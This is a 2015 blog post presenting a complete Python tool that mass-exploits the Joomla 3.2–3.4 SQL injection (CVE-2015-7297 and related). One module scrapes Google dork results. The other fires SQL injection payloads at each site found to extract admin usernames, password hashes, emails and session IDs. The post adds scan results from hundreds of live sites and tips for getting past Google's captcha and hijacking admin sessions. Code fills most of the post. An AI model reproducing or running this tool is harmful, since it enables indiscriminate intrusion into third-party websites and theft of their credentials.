[Mass Exploit] Joomla 3.2 to 3.4 SQL Injection
Mukarram Khalid • October 25, 2015
python exploitsYou guys know how I love to automate stuff. So earlier today I decided to automate the SQL injection vulnerability in open source CMS joomla 3.2
to 3.4.4
found by Trust Wave Labs here. CVE-2015-7297
, CVE-2015-7857
, and CVE-2015-7858
cover this SQL Injection vulnerability.
I have used Google Scraper and Mass Exploiter from one of my previous posts which works as a dork scanner and performs mass exploitation on hundreds of URLs in a matter of seconds. Here's a preview of this mass exploit.
Requirements
- Python version 3.4.x
- A third party package – Requests
There are two modules in this exploit. First module makman.py
is a dork scanner which scans all the URLs for the given google dork. As per my latest results, it scraped 417
joomla websites from google search in about 6
seconds.
# makman.py
# By MakMan - 25-10-2015
import requests, re, sys
from functools import partial
from multiprocessing import Pool
def get_urls(search_string, start):
temp = []
url = 'https://www.google.com.pk/search'
payload = { 'q' : search_string, 'start' : start , 'num' : '100' }
# Set Cookies in my_headers from your browser, in case it doesn't get any results.
my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : '' }
r = requests.get( url, params = payload, headers = my_headers )
# print( r.text.encode('utf-8') )
temp.extend( re.findall( '<h3 class="r"><a href="(.+?)"', r.text ) )
# print(temp)
return temp
def dork_scanner(search, pages, processes):
result = []
search = search
pages = pages
processes = int( processes )
make_request = partial( get_urls, search )
pagelist = [ str(x*100) for x in range( 0, int(pages) ) ]
with Pool(processes) as p:
tmp = p.map(make_request, pagelist)
for x in tmp:
result.extend(x)
result = list( set( result ) )
return result
#End
The second module performs the injection on the URLs collected by the dork scanner in the first module. Make sure makman.py
is in the same directory.
#
# Make sure makman.py is in the same directory
# Vulnerability found by : trustwave.com
# Exploit Author : //mukarramkhalid.com
# https://www.facebook.com/makmaniac
# https://twitter.com/themakmaniac
from makman import *
from urllib.parse import urlparse
from time import time as timer
def banner():
print( '\n\n' )
print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
print( ' [Mass Exploit] Joomla 3.2 - 3.44 SQL Injection ' )
print( ' Vulnerability found by : trustwave.com ' )
print( ' CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 ' )
print( ' MakMan -- //mukarramkhalid.com -- http://fb.com/makmaniac ' )
print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
print( '\n' )
def inject( u ):
tblprefix = ''
username = ''
password = ''
email = ''
session_id = ''
#Payload for version() and user()
payload1 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,version(),user())as mk)``)``))' }
#Payload for table prefix
payload2 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,(/*!00000select*//*!00000table_name*//*!00000from*//*!00000information_schema*/.tables/*!00000where*/table_schema=database() and/*!00000table_name*/like 0x25636f6e74656e745f7479706573 limit 0,1))as mk)``)``))' }
#Formating our URL properly
o = urlparse(u)
url = o.scheme + '://' + o.netloc + o.path
try:
r = requests.get( url, params = payload1, timeout= 15 )
if 'makman~:' in r.text:
iresult = re.search( "makman~:(.+?)'", r.text ).group(1)
r = requests.get( url, params = payload2, timeout= 15 )
if 'makman~:' in r.text:
tresult = re.search( "makman~:(.+?)'", r.text ).group(1)
tblprefix = tresult.replace('content_types', '')
payload3 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,username,password,email) /*!00000from*/' + tblprefix + 'users order by id ASC limit 0,1),(/*!00000select*/session_id /*!00000from*/' + tblprefix + 'session order by time DESC limit 0,1))as mk)``)``))' }
r = requests.get( url, params = payload3, timeout= 15 )
if 'makman~:' in r.text:
fresult = re.search( "makman~:(.+?)'", r.text ).group(1)
username = fresult.split('~:')[0]
password = fresult.split('~:')[1]
email = fresult.split('~:')[2]
session_id = fresult.split('~:')[3]
print ( '------------------------------------------------\n' )
print ( '[+] Url : ' + url )
print ( '[+] User : ' + iresult.split('~:')[1] )
print ( '[+] Version : ' + iresult.split('~:')[0] )
print ( '[+] tbl_prefix : ' + tblprefix )
print ( '[+] Username : ' + username )
print ( '[+] Password : ' + password )
print ( '[+] Email : ' + email )
print ( '[+] Session Id : ' + session_id )
print ( '\n------------------------------------------------\n')
sys.stdout.flush()
return url + '~:' + iresult + '~:' + tblprefix + '~:' + username + '~:' + password + '~:' + email + '~:' + session_id
else:
return url + '~:' + 'Not Vulnerable'
except:
return url + '~:' + 'Bad Response'
def main():
banner()
start = timer()
dork = 'inurl:index.php?option=com_*'
file_string = '######## By MakMan ########\n'
final_result = []
count = 0
print( '[+] Starting dork scanner for : ' + dork)
sys.stdout.flush()
#Calling dork_scanner from makman.py for 6 pages and 6 parallel processes
search_result = dork_scanner( dork, '6', '6' )
print( '[+] Total URLs found : ' + str( len( search_result ) ) )
with open( 'urls.txt', 'a', encoding = 'utf-8' ) as ufile:
ufile.write( '\n'.join( search_result ) )
print( '[+] URLs written to urls.txt' )
print( '\n[+] Trying Joomla SQL Injection exploit on ' + str( len( search_result ) ) + ' urls' )
sys.stdout.flush()
#Running 8 parallel processes for the exploitation
with Pool(8) as p:
final_result.extend( p.map( inject, search_result ) )
for i in final_result:
if not 'Not Vulnerable' in i and not 'Bad Response' in i:
count += 1
file_string = file_string + i.split('~:')[0] + '\n' + i.split('~:')[1] + '\n' + i.split('~:')[2] + '\n' + i.split('~:')[3] + '\n' + i.split('~:')[4] + '\n' + i.split('~:')[5] + '\n' + i.split('~:')[6] + '\n\n\n'
#Writing vulnerable URLs in a file makman.txt
with open( 'makman.txt', 'a', encoding = 'utf-8' ) as rfile:
rfile.write( file_string )
print( 'Total URLs Scanned : ' + str( len( search_result ) ) )
print( 'Vulnerable URLs Found : ' + str( count ) )
print( 'Script Execution Time : ' + str ( timer() - start ) + ' seconds' )
if __name__ == '__main__':
main()
#End
Video Demos
You can watch the following video demo to see this exploit in action.
Here's another quick demo to show you guys how to use session_id
and get access to the admin panel without cracking the hashes.
Last Scan Results (28-10-2015)
[+] Starting dork scanner for : inurl:"/component/tags/"
[+] Total URLs found : 452
[+] URLs written to urls.txt
[+] Trying Joomla SQL Injection exploit on 452 urls
....REMOVED....
....REMOVED....
....REMOVED....
Total URLs Scanned : 452
Vulnerable URLs Found : 66
Script Execution Time : 291.078248500824 seconds
Known Issues
Sometimes the first module (Google dork scanner) doesn't retrieve any URLs because Google serves the captcha form instead of the search results. If this is the case, go to you browser, do a manual search for your dork, fill in the correct captcha (if appears), retrieve the cookies for this search and add these cookies in makman.py
line 14 in the dictionary variable my_headers
for the key Cookie
.
# Set Cookies in my_headers from your browser, in case it doesn't get any results.
my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : 'COOKIES_HERE' }
You can always change the Google dork for this exploit by editing line 71 in joomla_sqli_mass_exploit.py
.
def main():
banner()
start = timer()
dork = 'inurl:index.php?option=com_*' # Change this line
GitHub Repository
I hereby take no responsibility for the loss/damage caused by this tutorial. This article has been shared for educational purpose only.